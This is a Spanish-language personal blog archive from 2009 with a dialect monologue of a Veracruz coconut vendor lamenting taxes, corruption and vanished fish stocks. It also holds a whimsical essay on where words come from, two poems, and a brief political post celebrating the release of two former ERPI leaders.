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miércoles, 30 de diciembre de 2009

Así es la vida...

(una crítica jarocha al sistema en diez estrofas)

¡Te leo la mano mi'ja!

Azotan las olas abatidas en las interminables franjas de arena que aparecen mágicas entre el verde tropical. Terminan su largo viaje marítimo y bailan una y otra vez incansables al ritmo del vaivén diurno. El mar se pierde misterioso en el horizonte azul que marca el límite de la vida. ¿Qué habrá del otro lado? ¿Será que algún día podamos navegar hasta el fin del mar y encontrar la frontera del mundo?

¡Te leo la mano!
¡Anda, deja que te lea tu suerte! ¿Quieres saber tu futuro?
Vas a tener buena fortuna, lo puedo ver en tu frente. Veo riqueza y alegría en tu vida.
Sí, ya lo puedo ver. Eres una buena persona, te voy a leer la mano.
Eres una persona cabal, te gusta pagar tus deudas a tiempo, pero no te gusta cobrar lo que te deben.
Vas a tener una vida larga.
Veo mucha felicidad en tu camino.
Sí... aquí está. Vas a tener una buena vida. Lo puedo ver claramente.
Pero ten cuidado, veo también dos personas que te tienen envidia.
Sí, una persona en quien tú confías te va a traicionar.
Ahora dime, mi'ja,
¿cuánto dinero tienes en tu bolsa...?


...Esas son las mentadas gitanas. No son ni de aquí ni de allá. Ellas no tienen base. Ahorita están aquí, al rato están en Veracruz, de Veracruz se van a México. Andan en toda la república. Sí, también las conocen aquí como húngaras. Es lo mismo. ¿no?
Esta gente quedaron aquí en México cuando la guerra en su país... salieron huyendo y buscaron refugio en otros países. Cuando quisieron regresar a su tierra, ya no los quisieron. Por eso quedaron por acá rodando. Ahora andan acá haciendo negocio. ¡No les confíe joven!

Despierta una vez más el rugido altanero del mar, y al tiempo se diluye en el bullido de los niños que saltan al compás de las olas. Unos gritan asustados queriendo escapar de la resaca, mientras otros simplemente disfrutan del golpeteo del mar. El entorno se cubre de turistas que buscan olvidar sus miserables rutinas citadinas con el encanto de la playa. Los locales no pierden ocasión para participar del derroche de aquellos incautos forasteros. Se oyen los mantras costeños que invitan a comprar artesanías, rehiletes, botanas, bebidas. Cada cinco metros se escucha un costeño llamando a pasar a sentarse en el expendio de comida, rezando la letanía de los mariscos. "Pásele joven, tenemos pámpano, mojarra, chucumite, jaiba, cangrejo, camarón a la diabla, al mojo de ajo, al ajillo, arroz a la tumbada, ceviche, coctel de camarón, caldo de mariscos, ¿qué va a querer joven? ¡Pásele!"
El viento hace murmurar a las palmeras que se vencen ante la fuerza de sus grandes corrientes de aire. Es el viento también el que da vida al espectáculo. La percusión de las olas que se estrellan en las escolleras marcan el ritmo del mar. Mientras el cielo se perturba con el baile y el chillido de las gaviotas que se dejan llevar por la sinfonía marítima. Es el alma de la costa. Y en ese mágico entorno se abren paso historias que esconden en su mundana cotidianeidad las más profundas reflexiones sobre las contradicciones de nuestra sociedad.

I

¡Cocos, lleve sus coco' fre'quesito'!
¿Cuanto' le voy a dar?
¿Mande?
Sí, cómo no, ahoritita mi'mo se lo' preparo.
¿Cómo lo va a querer? Mire, le voy a dar este, tiene carnita, pero no e'ta muy duro...
ni muy maduro, ni muy tiernito. Como quiera el cliente. A mí me gu'ta que el cliente quede contento.
¿Quiere limón?
¿Cómo no? Oritita le estoy dando... péreme, déjeme darle lo' vueltos a e'ta señora que ya se me va.
Esto e' suyo señora, y muchísima' gracia'.
Limón, limón, aquí le ponemo'.
Ahorita, yo lo' atiendo... Como quiera el cliente.
¿Así o le ponemo' más?
...Otro poquito. El chiste e' que queden contento', y así quedo contento yo.
Pues sí porque se van contento'. A lo mejor otro día vienen. Le' gustó cómo lo' traté, y...
¿limón? Sí... péreme, oritita está.
Si quedan contento' pue' me vienen a bu'car otra vez.
Sí pue', si vengo amargado a vender, pues noma' no vendo nada, no hay negocio.... ni modo.
Así es la vida...

II

Sí, yo aquí pago piso. Pago al municipio por el coco que se van a comer. Hay que pagarle a zona
federal porque esto e' federal, el piso, compro el coco, compro el limón, compro el popote, compro el
picante, compro todo.
E' poco lo que queda, pero pue' ni modo...
Hay que pagar al municipio el giro de venta.
El otro día me pelié con el presidente municipal... era un doctor, pue' yo lo cono'co porque, es de ahí
de Galván...
Le digo oye, nos e'tás cobrando muy caro ya.
Y me dice... "el municipio quiere dinero".
¿Quién se echa el dinero? ¿Quién mueve el dinero?
El municipio no lo agarra... las paredes no lo agarran...
Tons yo lo digo, ¿quién quiere el dinero, tú o el municipio?
Y me dice, "bueno, ahí vamos por mitad."
Fíjese namás.
Pues sí... pa que así, ya no anduviera yo con tanto cuento, ¿verdad?
La mitad pa la caja y la mitad para su bolsa...
El gobierno quiere el dinero... él no sabe si yo como o no como.... ni modo.
Así es la vida...


III

Limpiécito eh...
La verdad les di buen coco.
No sé si los vaya yo a dejar contento', pero, yo lo' estoy atendiendo...
¿Aquí qué va?
Limón y chile, sí... ahorita está listo.
U'tedes saben que por andar caminando aquí, me cobran, con la carretilla...
Sí... Aquí todo' pagamo',
Así venga el que anda vendiendo cocadas, dulce que hacen así de coco, el que vende collares, que ande vendiendo... lo que venda, el que venda... tiene que pagar.
¿No vieron un viejito que anda aquí, un viejito que anda con uno' botanero', con eso' palitos de botanero'...?
Pue' ese señor tiene que pagar también...
¿Limón ahí?
¿Le pongo chile también joven...?
Sí señor... de la muerte y los impuestos, no nos e'capamos.
Y si uno no paga... pue' vienen a cobrar aquí... o pagan, o a ver qué hacen.
Tenemo' que pagar, pue' tenemo' que trabajar... ¿qué hacemos? Ni modo.
Así es la vida...

IV

Namás voy a hacer otra cosita.
Aquí voy a hacer e'to porque tiene arena. E'te coco lo pusieron en la arena.
Si yo pego el machetazo ahorita aquí, toda la arena va a caer arriba...
Y aquí en mi carreta tú no agarra' ni un granito de arena.
Me gusta traer mis cosas limpia'.
E'to e' fácil, ahorita lo vamos a arreglar.
Si yo te doy el coco así como e'ta, ahorita sigo partiendo, y ya se los voy a dar con arena, y así no...
Yo lo e'toy dando limpiecito. Lo que yo quiero e' que u'tede' queden contento'.
Sí... hay día' que entre semana no hay nada.
Ahorita, pues son la' vacacione' e'tas.
Ya pasando todo e'to, hay vece' que me llevo toda una semana sin vender un coco, no hay gente.
Si todo' lo' días vendiera yo así... qué bueno. Pero hay día' que...
¿Le pongo sal a e'te?
Hay semanas que no viene gente y no se vende... no se vende. Ya namá' los sábados y lo' domingos.
Semana santa sí... pero e' una cosa de cada sei' meses, cada año.
La' vacaciones sí, julio y agosto son uno' gentionones, y ya de ahí, muy poco, ya lo poquito que se hace sábado y domingo... Ya todo el año, pue' no sale nada... pero pue' qué le vamo' a hacer... ni modo.
Así es la vida...


V

¿Así o más?
¿E'te qué va a llevar?
¿Limón nada más?
Como u'tede' me pidan a mí. Si u'tede' me dicen que con puro limón, pue' puro limón le pongo, si con picante, picante.
Uno' me dicen, "sí, pero con poquito" otros que "póngale bastante" según el gusto.
Se ve feo el coco por fuera, pero mire, su carne e'tá limpiecita. Ta recién cortao e'te coco. E'tá fre'quesito...
¿Limón y picante?
Creo que vamo' a tener que partir otro limón.
Aquí ahorita e'tá así... hay aire. Hay aire, pero si no hubiera aire, y estuviera el sol... de aquí a ahí, corren ustedes. Quema el sol. En mayo... aquí mayo, junio, en el día no oye' una gotita de aire, son uno' calorones enorme'.
Ya namás quedan tre' cocos.
Pero no hay problema. Orita vamo', recargamo' esto. Orita le echamos más.
¡La cosa tiene remedio! ¡La cosa tiene remedio! Si ya se hubieran acabado... ya no hay más, pue' ni modo, ahí le paramos.
Asi es la vida...


VI

No va a llover. E'to que ve' así, e'to e' puro frío... puro frío. Aquí no llueve orita.
Ves en la tarde... yo quisiera que viniera' en la mañana, ves unos negrurones, así mira, una franja se ve así, desde allá. Así la ves ha'ta allá agarrando todo Veracruz.
Son uno' negrurones que dice uno "se viene el mundo abajo, nos ahogamos."
Pero como trae viento... ya cuando vemos que pasa de aquí, que va allá, por allá...
Entonce' digo, "se irán a ahogar otros por allá, porque aquí ya no".
Aquí ves un aguacero, que está el aguacero, y ves la gente... esto está lleno esto de gente. Se meten aquí, se meten allá y dicen, "no pues no sirve el tiempo" "nos vamos a ir". Yo les digo, "espérense media hora". A la media hora está el sol que al último tienen que echarse protector porque quema.
Aquí nomás es un rato la lluvia. Ademá' aquí puede llover to' el día y toa la noche 'i quiere... ¡Todo el santo día y toda la noche! Y aun a'i, no vamo' a encontrar un charco. No se hacen lagunas... esta tierra es una esponja.
Aquí cae agua... Se hace un charco ahí, se llenó de agua, a la media hora ya se secó, ya se la chupó la tierra. Y por allá no... porque es tierra de esa, dura, seca. En la ciudad, en México, en todo' eso' lugare', la tierra e' dura... y el pavimento, ¿cuándo se filtra?
Aquí puedes poner una manguera, bótele y bótele agua y cuándo... Aquí no.
Por allá e'tán sufriendo de agua y nosotro' acá tenemos demás...
Así es la vida...


VII

Yo veo en la tele que allá en México tienen en parte que comprar agua con pipa, y que no tienen agua... Y veo todo eso seco ahí donde le ponen la cámara.
Digo, mira nomás, y nosotro' tenemo' agua en el río, en la laguna, agua potable, y ahí orita van ahí donde e'tán esos baño', ahí, está la bomba. Namás le pegan, le bombean y hay agua allá... ¡y agua dulce!
Namás le ponen una bomba y a llenar los tanques arriba. Sí... aquí hay mucha agua.
E'ta tierra e' muy buena. Lo malo que ya también nos e'tamo' acabando todo.
¿Usté conoce las acamayas? Son camarone' gigante' de río. Ante' acá había mucho de eso'.
Pero ya están muy escasas, casi no hay ni en la' laguna' ya. Es que es la cosa... la situación ta tan dura que no... ¡ya nace una y se comen veinte!
Ante' aquí, hace muchos años... hace más de cincuenta años, (yo e'taba chamaco todavía...) Aquí te ibas ahí a la orilla de la laguna y el río, y cuando venía el pantano, o sea la planta esta de los ríos... de ese pantano, que le llamamo' nosotros. Te ibas ahí, le hacía' así con una nasa y sacabas el viaje de camarón. Orita no agarra' nada. Todo se acabó. Aquí había muchísimo pescao, mucha acamaya, mucho camarón, había mucha mojarra, chucumite, cangrejo.
¡Ahorita si te ven con un viaje de cangrejo vas derechito a la cárcel!
Ta vedao, ta vedao. Aquí ta vedao.
Ante' había de todo... pero todo se va acabando... Y yo... ya me estoy acabando también... ni modo.
Así es la vida...

VIII

Ante' aquí salía uno en tiempo' de agua, taba lloviendo, ponías un hule y te iba' y encontraba' las tortuga' poniendo... las tortugas que estaban poniendo. La agarrabas, le sacabas lo' huevos, hasta la matabas y traías la carne... ¡y comías carne! Ahorita, me agarran con uno de esos... ¡Y has de cuenta que maté diez cristianos! ¡Derechito a la cárcel! Ni permiso me piden, "este va pa'dentro".
Ta vedao, aquí ta vedao.
Tanto y tanto, ya no' acabamos tó. Ya todo se acabó.
Antes, aquí nos veníamos con lo' cordele', en la' tardes, ya en la' tardecitas como a la' tres, la' cuatro, y nos poníamos a pescar y matábamos los robalos ahí.
Ahorita... ¡Ni en fotografía los conozco ya! ¡Ya ni en fotografía lo' veo!
Aquí matabas chucumite, robalito, mojarra...
Ahorita nomás viene uno que otro pescao que de repente anda loco por ahí, y lo agarran. Todo se acabó.
Antes había muchísimo... Había menos dinero, pero había mucho que comer.
Ahorita hay más dinero... entra más dinerito, pero hay menos que comer. Y el dinero no se come. No sirve pa comer...
El dinero no sirve pa comer, pero sirve pa comprar.
Y canijo está cuando no hay dinero ni pa comer... ni modo.
Así es la vida...


IX

Como dijo el santo papa, cuando pasó por aquí... porque por aquí pasó cuando iba pa México...
Dijo el santo papa... ¡solamente Veracruz es bello!
Y me dice uno... soy de aquí de Veracruz. "Sólo Veracruz es bello..." Me dice, "¿y su capital Jalapa no?" Y yo digo, sin Jalapa... ¡sólo Veracruz!
Y dice el otro que e'taba tomando, que tenía un litro de aguardiente.... dice, lo que estoy tomando está bendito. ¿Por qué? Le digo.
Y me dice, cuando venía el papa, le puse dos litros de aguardiente y desde arriba le hizo así...
Bendició el padre... por eso el aguardiente que hacen en Veracruz es bendito.
Cuando vengan, vengan a estar uno' ocho días por acá. Poco se sale y el día que se sale, namás por un día o dos, pues no...
Le digo a una señora... yo pensaba que u'tede' ya no iban a venir pa cá para Veracruz pa bañarse... ¿Por qué? Me dice...
Digo, pue' ustedes ya tienen sus playas en México...
Ya les hicieron en México playa. No, dice... ¡Eso no sirve, eso es una alberca! ¡De aquí de Veracruz se llevaron la arena! La llevaron pero no llegó... se la robaron los políticos. Hasta eso se roban.
Por muy bien que les hagan ahí, y les hagan olas, remolinos, y todo, no hay como lo que tenemos nosotros... natural. No se pue ver al horizonte. ¡Allá no hay lo que tenemos nosotros! Ni modo.
Así es la vida...

X

Ahí está... he terminado con u'tede'...
Son ocho, sí, ocho, son ochenta, cinco por ocho, cuarenta, ciento veinte pesos...
No, no tengo cambio, la verdad...
Sí... sobra. Le sobran ochenta peso'. Son cinco por ocho, cuarenta, y ochenta, ocho son ochenta, cinco por ocho cuarenta, son ciento veinte...
Le tengo que regresar a él ochenta pesos. Así e' que son... cincuenta, setenta... ¡ochenta!
Pue' muchas gracias...
¿Y quedé bien?
No sé si quedé bien con u'tede' o quedé mal, pero yo traté de quedar bien.
¡Así es la vida! Sí... Así es la vida... ¡pero sin dinero no hay comida!
Pue' ahí e'tá. Cuando gusten, por aquí, ya saben... bu'quen una carretilla que dice "Así es la vida" y yo los atiendo. Coco a su gusto. Yo veré cómo le hago. Si no tengo, yo veo con quién consigo orita ahí lo' cocos, pero sin coco... sin comer su coco no se van.
Nomás me buscan ahí por la bocana... Si no estoy, ay me llaman, ya yo vengo...
Vengo vendiendo... de aquí pa llá y de allá pa cá.
Ni modo, qué tengo que hacer pa vender, caminar...
Ni modo señores...

!Así es la vida!




viernes, 4 de diciembre de 2009

El origen de las palabras...

¿Alguna vez te has preguntado de dónde vienen las palabras? En dónde estaban antes de que llegaran a tomar un lugar entre las páginas de un libro o entre las hojas de un periódico; antes de dibujarse en los pixeles de un mensaje virtual, o en las letras de una canción, una poesía o una nota de amor. ¿De dónde viene el “compañero” y el “camarada” de un discurso, o la “libertad” y la “unidad” del revolucionario?¿Dónde estaba la “correlación de fuerzas”, el “análisis de coyuntura” y la “táctica y estrategia” de una asamblea antes de que fueran eternizadas en el eco de algún recinto? ¡Dónde estaba el “amor” y el “te quiero” antes de que fueran declarados! ¿Dónde estaba la “ternura” y el “cariño” de una compañía nocturna? ¿Nunca te habías preguntado de qué mundo tan extraño y lejano podría venir un “te amo”?
Quizá nunca lo hayas pensado. Puede ser que no te parezca importante. Quizá te sean tan familiares y cotidianas las palabras que se te haría completamente absurdo pensar que pudieran no haber estado siempre aquí. Acaso pensarás que es cosa de locos buscar el origen de lo que siempre ha sido. ¡Qué idea tan estúpida! ¿A quién se le ocurriría preguntar de dónde vienen las palabras? Me dirás que siempre han estado ahí. Como Parmenides, argumentarás que lo que ahora es, no puede sino haber sido siempre.
Sin embargo... después de que me hayas refutado mi ridículo interés de buscar una obviedad, te irás a casa y antes de decir una palabra, te encontrarás con una idea que querrá salir al mundo pero, extrañamente, no encontrarás una palabra que la pueda liberar del cautiverio. Entonces rápida y ágilmente repasarás aquellas que conoces hasta que finalmente un par de adjetivos y sustantivos vendrán en tu auxilio y podrás finalmente liberar tu idea. Pero después te darás cuenta de que éstos no fueron lo suficientemente astutos para liberar completamente la idea. Entonces, te verás en la necesidad de buscar una nueva palabra, no ya para liberar una idea sublime y kantianamente trascendental, sino para expresar una simple banalidad o simplemente para describir la idea de tu relación física con tu entorno cotidiano. Entonces verás que cualquier palabra que te sea familiar será verdaderamente pequeña para aquella mundana idea que en ese momento habitará en ti. Te darás cuenta, como Lacan, que las palabras no te podrán ser nunca suficientes. Siempre habrá una parte de lo Real que será invisible a las palabras, (y con esto no quiero decir a “tus” palabras o las “mías”, sino a “las” palabras.)
¿Te das cuenta del problema...? Si a cada idea correspondiera una palabra, entonces yo no dudaría de que las palabras hubieran pertenecido siempre a este mundo. Si por cada idea, y por cada sentimiento, tuviéramos una palabra liberadora que abarcara su totalidad, entonces sería muy claro que las palabras serían tan humanas y tan mundanas como cualquier idea, cualquier situación o cualquier fenómeno. Sería evidente que las palabras habrían estado siempre ahí, completas, abarcadoras y coherentes. Nada en este mundo de humanos y de realidades naturales les sería ajeno.
Pero... ¿Te has percatado de que esto no sucede de ninguna manera así? Todos hemos sentido más de una vez que no tenemos palabras para describir nuestro estado de ánimo, nuestras ideas, nuestro entorno, o simplemente para describirnos autoreflexivamente. Todos conocemos el rostro de esa inefable emoción que nos visita una y otra vez en la vida, y a la que aun no podemos ponerle nombre.
Pues sí... Todo esto es muy cierto ¿no? ¿Quién podría negar que nos faltan siempre palabras? Sin embargo, me dirás que esto en sí no tiene nada digno de robarnos el sueño. Me dirás que precisamente por eso las palabras son algo que puede simplemente ser inventado. ¿Qué no para eso existen los neologismos?
Puede que tengas razón en esto. Todos sabemos que las palabras simplemente se “inventan...” ¿O no...? Pero quién sabe qué tan de acuerdo estarían los físicos y los filósofos que después de todo nos han representado este mundo de forma tal que en el paradigma de las verdades científicas, la destrucción y la creación son una imposibilidad. Después de todo, no se puede crear ni destruir la materia y la energía, ¿o qué no?
Y si nada puede ser creado o destruido, ¿cómo pensar entonces que una palabra podría aparecer de la nada? Esto sería tanto como asegurar que puedo hacer aparecer el amor de la nada. Todos sabemos que el amor no puede aparecer así nada más. No, el amor siempre es el resultado de una metamorfosis, de una transformación. Antes de que el amor fuera amor, era una caricia o una palabra dulce, quizá un aroma o una imagen. Las más de las veces –aunque pocos lo han podido entender– el amor era una historia, un compromiso, una amistad... una verdad. Sí, el amor siempre fue algo antes de ser amor. No existe amor que surgiera de la nada.
De la misma manera, ninguna palabra podría ser producto de la aparición fantasmagórica. Toda palabra tuvo que haber sido algo antes de ser palabra. Esto tampoco es muy misterioso, me dirás. “Todos sabemos que las palabras antes de ser palabras, eran ideas.” Puede que eso te suene muy convincente... pero todavía hay otro problema en el que quizás no has reparado. Si las palabras antes eran ideas, entonces tuvieron que haberse transformado de ideas a palabras, es decir, tuvieron que haber dejado de ser ideas para ser palabras. Pero... entonces... ¿por qué las ideas nunca dejaron de ser? Aun a pesar de las palabras, las ideas no dejaron nunca de existir. Cuando una palabra emerge en forma de neologismo, la idea en ningún momento desaparece. En todo caso, a partir de que llega el neologismo, existiría una idea y además una nueva palabra para la idea, pero nunca una palabra en lugar de la idea. Si fuera así, entonces las palabras estarían vacías... significantes sin significado.
Entonces... como puedes ver. El problema es más complejo. Cada vez hay más palabras porque todavía no hay suficientes palabras para todas las ideas, pero las palabras no pudieron surgir de la nada, y tampoco pudieron ser transformaciones de las ideas. Entonces, la única conclusión que queda es que las palabras tuvieron que venir de algún lado... es decir, de algún otro lado.
Si esto todavía no te convence y sigues creyendo que las palabras no vienen de otro lado, entonces te voy a mostrar otra evidencia para mis afirmaciones. Quizá te sorprenda una vez más, pero el problema no es sólo que no haya suficientes palabras para la totalidad de las ideas y las realidades de este mundo. No... el problema es todavía más complejo.
¿Qué no te has dado cuenta de que hoy se han colado en este mundo palabras que no corresponden a ninguna realidad de este mundo, es decir, palabras que no las podemos entender porque no son de aquí. Por supuesto que no me refiero a las diferencias entre los lenguajes. No gastaría pixeles para justificar una simple variación lingüística y cultural. Eso no es nada más que la condición de variabilidad de toda especie que presuma de inteligente, simbólica y cultural. La incomprensión que resulta de la diferencia entre los idiomas no se debe más que a la diversidad en la forma de las palabras que ya están alojadas en este mundo. No... a lo que yo me refiero es a algo todavía más extraño y más ajeno a cualquier realidad de este mundo.
Tal como dedujera Kurt Gödel en su teorema de la incompletud, existen una gran cantidad de proposiciones que no pueden ser probadas ni refutadas lógica y matemáticamente. Así es... a pesar de que muchos todavía pensamos que las matemáticas son exactas y nunca nos van a fallar, resulta que en realidad, existen muchas proposiciones que nunca vamos a poder probar ni refutar. Puede que te suene extraño esto, pero te voy a dar un ejemplo fuera de las matemáticas a manera de ilustración. ¿Podrías acaso decirme si es cierto o falso el enunciado “estoy mintiendo”? Si fuera verdadero, entonces sería cierto que estoy mintiendo, por lo que el enunciado tendría que ser falso, lo cual significaría que no sería cierto que “estoy mintiendo”... y si no es cierto que “estoy mintiendo”, entonces sería cierto lo que digo, por lo que tendría necesariamente que ser falso. En realidad, este enunciado existe pero nunca vamos a saber si es cierto o es falso, o sea que nunca vamos a saber qué idea se esconde en ese enunciado.
Ante esta terrible incertidumbre, Foucault simplemente suponía que aunque nunca podamos conocer el número infinito de ideas y palabras, con estructuras lingüísticas que contengan un número finito de elementos, siempre sería posible alcanzar a enunciar un número infinito de ideas. Muy fácil... palabras infinitas, pero con estructuras finitas, serían suficientes para poder abarcar la totalidad infinita de las ideas. Sin embargo, el problema no es así de fácil. Ya hace algunos siglos Galileo se había dedicado sin éxito aparente a descubrir los misterios del “infinito”. Y no vayas a creer que le faltó capacidad y convicción para desenredar esta obscura y compleja madeja de la infinitud. Por el contrario... quizá nadie se hubiera acercado tanto como él al infinito, si no fuera por su grandeza. El problema es que esto del infinito es cosa seria. ¡Imagínate nada más que a principios del siglo XX, el matemático e inventor alemán Georg Cantor se volvió loco investigando el infinito!
Cantor logró descubrir una multiplicidad de infinitos, es decir, la existencia de un infinito de infinitos, y un infinito de infinito de infinitos, y así sucesivamente. Resulta entonces, que no era posible pensar que la realidad se detuviera en el infinito, pues existe un número incalculable de realidades que exceden al infinito. Esto significa para nosotros que no es suficiente con decir que las estructuras lingüísticas que conocemos alcanzan a construir un número infinito de ideas, porque este número infinito de ideas no es suficiente para la totalidad de ideas posibles en todas las realidades posibles. Recuerda que la mayoría de nosotros, neciamente, sólo conocemos una realidad... y esta realidad es una realidad antinómica en donde algo es verdadero o falso, algo existe o no existe. Pues resulta que si seguimos esta lógica, no será difícil descubrir que nuestra realidad, nuestra verdad, nuestra existencia y nuestro infinito no son más que una sola de las posibilidades.
Si me sigues todavía, no te será difícil deducir entonces que si las palabras no pueden ser creadas de la nada, y las que hoy se encuentran en nuestra realidad no son suficientes para este mundo, y al mismo tiempo se nos han colado palabras que describen otros mundos infinitamente inciertos e ininteligibles para nosotros, entonces, no se podrá negar que las palabras vienen de uno de esos lugares más allá de nuestra lógica y nuestra realidad, más allá de nuestras imaginaciones, más allá de nuestras racionalidades... de uno de esos infinitos infinitos.
¿Comprendes ahora? Las palabras no son terrestres. La única posibilidad que resta es aceptar que las palabras son sólo inmigrantes en nuestro mundo, y que por lo mismo nacieron en algún otro lugar lejano y diferente. Pudiera parecer insensato, pero es evidente entonces que aunque son tan cotidianas, las palabras nos son tan ajenas como la contradicción misma. Son sólo pequeños visitantes que vienen de otros mundos tan diversos que no podemos ni imaginar.
¿Es que nunca te has puesto a pensar que el “amor” no puede haber nacido en el mismo lugar que el “egoísmo” o el “rencor”? ¿Cómo sería posible que la “tortura” y la “hermandad” fueran de la misma especie? No... esto no podría ser posible. Es evidente que existen mundos muy distantes y contrarios que son habitados por palabras opuestas y contradictorias. Existe por ejemplo un mundo que fue habitado por palabras como la “ternura”, el “cariño”, la “sensibilidad”, la “atención”, la “dulzura” y la “generosidad”. Esta especie de palabras son de una naturaleza tan sublime que un buen día decidieron dejar su mundo para salir a iluminar y llenar de luz otros planetas como el nuestro. Pero también hay otras palabras como el “odio”, la “agresión”, la “envidia”, el “chantaje”, la “vanidad” y la “soberbia” que después de haber destruido su propio mundo se vieron en la necesidad de buscar otro planeta, al que como parásitos irían devastando hasta tener que mudar una vez más.
Un día todos estos viajeros de distintas especies llegaron a un lugar tan majestuoso y lleno de vida, en el que decidieron quedarse a vivir permanentemente. En este lugar encontraron tantas ideas que cada uno comenzó a cobijarse con la que mejor le quedaba. Sin embargo, las ideas de este mundo eran tantas y tan complejas que muchas de ellas quedaron sueltas, sin palabras que las pudieran expresar. Sucedió también que a veces una misma palabra se confundía y comenzaba a cobijarse sin darse cuenta en dos o más ideas al mismo tiempo. Así, por ejemplo, resultó que la “izquierda” y la “democracia”, o el “éxito”, la “madurez”, lo “sensato” y lo “insensato”, la “masculinidad” y la “feminidad”, podían referirse a muchas cosas al mismo tiempo... ¡Y a veces estas cosas eran verdaderamente opuestas!
Ahora entiendes por qué las palabras nos son a veces tan extrañas. ¿Comprendes por qué nos es tan difícil saber cuál es su naturaleza y asimilar completamente lo que nos quieren decir, y por qué para lograrlo necesitamos siempre hacer gigantescos esfuerzos? Pues bien, ahora te digo que estos grandes esfuerzos no son en vano ni son ociosos. Por el contrario, recuerda bien lo que te voy a decir porque de ello depende la supervivencia de todos los que aun nos llamamos humanos. Debes siempre hacer ese máximo esfuerzo por comprender a las palabras. Acércate a ellas, conócelas, pregúntales sobre sus mundos, sus historias, sus destinos.
¿Sabes por qué decía Freire que había que conocer las palabras para conocer el mundo...? Él ya se había dado cuenta de que las palabras no eran sólo visitantes pasivas en nuestro mundo. Por el contrario, él sabia que cuando las palabras llegaron a este planeta, se encontraron con un mundo cautivo de ideas que no podían realizarse, con personas que no podían pensar por carecer de lenguaje, con individuos que no podían construirse como sujetos, en fin... con un mundo vacío y autómata, con vida pero sin ella. Entonces las palabras se dieron a la tarea de construir al mundo y a las personas. Efectivamente, fueron ellas quienes nos construyeron a su imagen y semejanza. Aunque no lo creas, todos los seres pensantes estamos construidos por palabras, somos el reflejo de ellas. Las palabras nos hacen quienes somos.
La realidad misma está construida por palabras. ¿No me crees? Imagina entonces que esta realidad está construida con una serie de palabras que la hacen existir en nuestra conciencia de formas completamente parciales y ocultas. Por ejemplo, en esta realidad no se habla de “opresión” y “explotación” sino de “relaciones laborales”. Aquí no se dice “revolución” sino “reforma de Estado”. No se cometen “asesinatos masivos” y “crímenes de guerra”, sino “daños colaterales”; no se habla de “traición” y “engaño” sino de “momentos malos” e “incompatibilidad”. No se habla de “concentración de capital” y “polarización de la pobreza” sino de “crecimiento económico” y “oportunidades”. No existen “guerrilleros” sino “delincuentes”. No existe la “plusvalía” sino el “valor agregado”. No hay “Estado burgués” sino “democracias liberales”. No hay “guerra de ocupación” sino “conflictos”. No existen “derechos laborales” sino “privilegios”. No se habla nunca de “tortura” sino de “abusos” e “interrogatorios extremos”.
¿Te das cuenta cómo la realidad puede ser tan diferente dependiendo de las palabras que la representen? Ahora entiendes por qué es imperativo que nos acerquemos más a las palabras. Recuerda entonces que si logras finalmente familiarizarte con las palabras, conocerlas desde sus orígenes hasta sus destinos y logras penetrar en las ideas escondidas en cada una de las palabras, entonces podrás construir este mundo como tú quieras. Podrás entonces crear una realidad diferente, una en la que la “justicia” sea la “justicia” y la “libertad” atraviese todos los significados, una en la que el “amor” esté en cada palabra y en la que finalmente puedas reconocer las palabras que entran en tu cuarto todas las noches cuando te pienso y te visito en la inmaterialidad de tus sueños, cuando acaricio tu mirada, te susurro algo al oído y cobra vida un “te quiero”.

lunes, 16 de noviembre de 2009

Traición

Hoy conocí el odio de Dios de Vallejo.
La desesperanza de saberse olvidado...
Hundido en la tierra que no tiene primavera,
aquella que encierra la desolación de Gabriela.
Descubrí que esa era mi tierra...
la que hoy me confronta como al más vil de los enemigos.
la que hoy me cubre en su obscuridad...
y me ahoga entre mares de ansiedad.
Hoy por fin pudo entrar el escarabajo de siete patas rotas.
El que venció finalmente al poeta...
Entró triunfante con sus alas de murciélago.
Y vació la noche de su anterior tranquilidad.
Hoy me confrontó el caballero verde de mis temores,
Con un ejército de amigos verdaderos,
Que lanzaron sus desprecios mortales en afrenta innombrable,
Y rompieron la fantástica égida de mi ingenuidad.
La obscuridad me encontró vacío de reproches...
Solo y vulnerable ante la noche.
Hoy me despido de ese Dios ajeno y petulante,
entre reclamos por su estúpida inexistencia.
Vacío de vacíos, me entrego a la memoria.
A la miserable humanidad de lo humano.
Soy, como todos, producto del sufrimiento y la batalla,
de la incesante y eterna lucha, hermana de la vida.
Primera y última condición...
...pero hoy me derrumbo ante una lucha inesperada,
una en la que ya no puedo vencer.
Hoy caí ante la voluntaria indefensión,
derrotado ante el acecho del hermano...
¿Y ahora quieres que me acerque después de tu traición?
¿Y me extiendes tu sonrisa pidiendo mi afección?
Así pides que te de la mano...
Pero hoy... ya no soy el mismo de antaño.
Hoy, puedes creerlo, ya no es afrenta...
Y ahora te digo con firmeza y dignidad:
Está seguro que aquí termina tu momento,
pues no será más mi mirada para ti un tormento.

viernes, 6 de noviembre de 2009

¡Jacobo y Gloria Libres!

El 28 y 29 de octubre del 2009, después de 10 años de estar privados de su libertad, los compañeros Jacobo Silva Nogales y Gloria Arenas Agis, ex-dirigentes y fundadores del Ejército Revolucionario del Pueblo Insurgente (ERPI), lograron finalmente arrancarle su libertad al Estado mexicano. Después de 10 años de lucha, el movimiento popular y revolucionario en México puede hoy celebrar un triunfo más, y un paso adelante en la lucha por la libertad de nuestros presos y presas políticas, y por supuesto, en la incansable lucha por la transformación social y la construcción de un nuevo país.

No obstante, detrás de esta gran celebración para el movimiento, hay toda una historia colectiva de dolores, sufrimientos, injusticias y vejaciones, pero también de voluntades inquebrantables, solidaridades diversas, esfuerzos conjuntos, sacrificios heroicos y por supuesto, de un gran movimiento que no claudica. (Leer el artículo completo...)

miércoles, 8 de julio de 2009

Derrota

Tus ojos afilados,
        de mirada penetrante.
Tu comentario preciso,
        en el momento preciso.
Tu compromiso calculado,
        con astuta cautela.
Tu eterna alegría,
        de tristeza alimentada.
Tu sonrisa inamovible,
        en solemne reflexión.

Tú,

Presencia tardía,
Pasado eterno,
Presente invencible,
Promesa de futuro intenso...

Tus palabras de cariño y respeto,
        que se entregan libres a un lejano y distante mundo.
Tu incierta existencia,
        de más certeza que el futuro incierto.
Tu rebeldía natural
        de raíces luchadoras.
Tu misterio irresuelto
        que todavía se lleva mi tranquilidad.

Tú,

Dulce promesa de una compañía rebelde,
Dos corazones destruyendo invencibles,
Develando verdades,
Demandando justicia...

Tú,

Sempiterna búsqueda de libertad,
Sediento anhelo de justicia,
Sensible esencia insurgente,
Solitario corazón combativo,
Sublime atracción milenaria
Sincera y atrevida irreverencia...

Tu verdad,
Tu belleza,
Tu libertad...

          Eso fue lo que me derrotó.

jueves, 2 de julio de 2009

El Ejército Criminal

